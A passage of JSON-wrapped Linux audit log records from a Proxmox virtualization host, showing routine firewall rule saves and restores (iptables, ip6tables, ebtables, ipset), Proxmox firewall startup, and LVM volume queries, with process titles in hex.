cap_frootid=0"} {"@timestamp":1781964745166,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964745.166:62412): proctitle=\"ip6tables-save\""} {"@timestamp":1781964166084,"@rawstring":"node=pve type=PATH msg=audit(1781964166.084:59878): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745160,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964745.160:62411): proctitle=\"iptables-save\""} {"@timestamp":1781964166084,"@rawstring":"node=pve type=PATH msg=audit(1781964166.084:59877): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745156,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964745.156:62410): proctitle=\"ebtables-restore\""} {"@timestamp":1781964166084,"@rawstring":"node=pve type=PATH msg=audit(1781964166.084:59877): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745154,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964745.154:62409): proctitle=\"ebtables-restore\""} {"@timestamp":1781964166084,"@rawstring":"node=pve type=PATH msg=audit(1781964166.084:59876): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745149,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964745.149:62408): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964166080,"@rawstring":"node=pve type=PATH msg=audit(1781964166.080:59875): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745144,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964745.144:62407): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964166080,"@rawstring":"node=pve type=PATH msg=audit(1781964166.080:59875): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745140,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964745.140:62406): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964166080,"@rawstring":"node=pve type=PATH msg=audit(1781964166.080:59875): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745135,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964745.135:62405): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964166074,"@rawstring":"node=pve type=PATH msg=audit(1781964166.074:59874): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745130,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964745.130:62404): proctitle=697073657400726573746F7265"} {"@timestamp":1781964166074,"@rawstring":"node=pve type=PATH msg=audit(1781964166.074:59874): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745124,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964745.124:62403): proctitle=\"ip6tables-save\""} {"@timestamp":1781964166067,"@rawstring":"node=pve type=PATH msg=audit(1781964166.067:59873): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745117,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964745.117:62402): proctitle=\"iptables-save\""} {"@timestamp":1781964166067,"@rawstring":"node=pve type=PATH msg=audit(1781964166.067:59873): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745114,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964745.114:62401): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964166060,"@rawstring":"node=pve type=PATH msg=audit(1781964166.060:59872): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745111,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964745.111:62400): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964166060,"@rawstring":"node=pve type=PATH msg=audit(1781964166.060:59872): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745110,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964745.110:62399): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964166053,"@rawstring":"node=pve type=PATH msg=audit(1781964166.053:59871): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745110,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964745.110:62398): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964166053,"@rawstring":"node=pve type=PATH msg=audit(1781964166.053:59871): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745107,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964745.107:62397): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964166048,"@rawstring":"node=pve type=PATH msg=audit(1781964166.048:59869): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745101,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964745.101:62396): proctitle=\"ip6tables-save\""} {"@timestamp":1781964166048,"@rawstring":"node=pve type=PATH msg=audit(1781964166.048:59869): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745095,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964745.095:62395): proctitle=\"iptables-save\""} {"@timestamp":1781964166044,"@rawstring":"node=pve type=PATH msg=audit(1781964166.044:59868): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745090,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964745.090:62394): proctitle=69707365740073617665"} {"@timestamp":1781964166044,"@rawstring":"node=pve type=PATH msg=audit(1781964166.044:59868): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745085,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964745.085:62393): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964166039,"@rawstring":"node=pve type=PATH msg=audit(1781964166.039:59867): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745078,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964745.078:62392): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964166039,"@rawstring":"node=pve type=PATH msg=audit(1781964166.039:59867): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964744427,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964744.427:62391): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781964166033,"@rawstring":"node=pve type=PATH msg=audit(1781964166.033:59866): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964744387,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964744.387:62390): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781964166033,"@rawstring":"node=pve type=PATH msg=audit(1781964166.033:59866): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964740483,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964740.483:62389): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964166028,"@rawstring":"node=pve type=PATH msg=audit(1781964166.028:59865): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964740483,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964740.483:62388): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964166028,"@rawstring":"node=pve type=PATH msg=audit(1781964166.028:59865): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964740483,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964740.483:62387): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964166022,"@rawstring":"node=pve type=PATH msg=audit(1781964166.022:59864): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964740473,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964740.473:62386): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964166022,"@rawstring":"node=pve type=PATH msg=audit(1781964166.022:59864): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964740473,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964740.473:62385): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964166015,"@rawstring":"node=pve type=PATH msg=audit(1781964166.015:59863): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964740473,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964740.473:62384): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964166015,"@rawstring":"node=pve type=PATH msg=audit(1781964166.015:59863): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964736068,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964736.068:62383): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964166009,"@rawstring":"node=pve type=PATH msg=audit(1781964166.009:59862): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964736066,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964736.066:62382): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964166009,"@rawstring":"node=pve type=PATH msg=audit(1781964166.009:59862): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964736065,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964736.065:62381): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964166004,"@rawstring":"node=pve type=PATH msg=audit(1781964166.004:59861): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964736065,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964736.065:62380): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964166004,"@rawstring":"node=pve type=PATH msg=audit(1781964166.004:59861): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964736061,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964736.061:62379): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964166000,"@rawstring":"node=pve type=PATH msg=audit(1781964166.000:59860): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964736055,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964736.055:62378): proctitle=\"ip6tables-save\""} {"@timestamp":1781964166000,"@rawstring":"node=pve type=PATH msg=audit(1781964166.000:59860): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964736049,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964736.049:62377): proctitle=\"iptables-save\""} {"@timestamp":1781964166000,"@rawstring":"node=pve type=PATH msg=audit(1781964166.000:59859): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964736042,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964736.042:62376): proctitle=\"ip6tables-save\""} {"@timestamp":1781964166000,"@rawstring":"node=pve type=PATH msg=audit(1781964166.000:59859): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964736036,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964736.036:62375): proctitle=\"iptables-save\""} {"@timestamp":1781964166000,"@rawstring":"node=pve type=PATH msg=audit(1781964166.000:59858): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964736033,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964736.033:62374): proctitle=\"ebtables-restore\""} {"@timestamp":1781964165996,"@rawstring":"node=pve type=PATH msg=audit(1781964165.996:59857): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964736031,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964736.031:62373): proctitle=\"ebtables-restore\""} {"@timestamp":1781964165996,"@rawstring":"node=pve type=PATH msg=audit(1781964165.996:59857): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964736026,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964736.026:62372): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964165996,"@rawstring":"node=pve type=PATH msg=audit(1781964165.996:59857): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964736021,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964736.021:62371): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964165990,"@rawstring":"node=pve type=PATH msg=audit(1781964165.990:59856): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964736016,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964736.016:62370): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964165990,"@rawstring":"node=pve type=PATH msg=audit(1781964165.990:59856): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964736012,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964736.012:62369): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964165983,"@rawstring":"node=pve type=PATH msg=audit(1781964165.983:59855): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964736007,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964736.007:62368): proctitle=697073657400726573746F7265"} {"@timestamp":1781964165983,"@rawstring":"node=pve type=PATH msg=audit(1781964165.983:59855): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964736000,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964736.000:62367): proctitle=\"ip6tables-save\""} {"@timestamp":1781964165977,"@rawstring":"node=pve type=PATH msg=audit(1781964165.977:59854): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964735994,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964735.994:62366): proctitle=\"iptables-save\""} {"@timestamp":1781964165977,"@rawstring":"node=pve type=PATH msg=audit(1781964165.977:59854): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964735991,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964735.991:62365): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964165971,"@rawstring":"node=pve type=PATH msg=audit(1781964165.971:59853): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964735988,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964735.988:62364): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964165971,"@rawstring":"node=pve type=PATH msg=audit(1781964165.971:59853): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964735987,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964735.987:62363): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964165964,"@rawstring":"node=pve type=PATH msg=audit(1781964165.964:59852): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964735987,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964735.987:62362): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964165964,"@rawstring":"node=pve type=PATH msg=audit(1781964165.964:59852): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964735983,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964735.983:62361): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964164641,"@rawstring":"node=pve type=PATH msg=audit(1781964164.641:59851): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964735977,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964735.977:62360): proctitle=\"ip6tables-save\""} {"@timestamp":1781964164641,"@rawstring":"node=pve type=PATH msg=audit(1781964164.641:59851): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964735970,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964735.970:62359): proctitle=\"iptables-save\""} {"@timestamp":1781964164609,"@rawstring":"node=pve type=PATH msg=audit(1781964164.609:59850): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964735966,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964735.966:62358): proctitle=69707365740073617665"} {"@timestamp":1781964164609,"@rawstring":"node=pve type=PATH msg=audit(1781964164.609:59850): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964735960,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964735.960:62357): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964163147,"@rawstring":"node=pve type=PATH msg=audit(1781964163.147:59849): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964735954,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964735.954:62356): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964163147,"@rawstring":"node=pve type=PATH msg=audit(1781964163.147:59849): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964735461,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964735.461:62355): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964163147,"@rawstring":"node=pve type=PATH msg=audit(1781964163.147:59848): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964735461,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964735.461:62354): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964163147,"@rawstring":"node=pve type=PATH msg=audit(1781964163.147:59847): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964735461,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964735.461:62353): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964163135,"@rawstring":"node=pve type=PATH msg=audit(1781964163.135:59846): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964735452,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964735.452:62352): 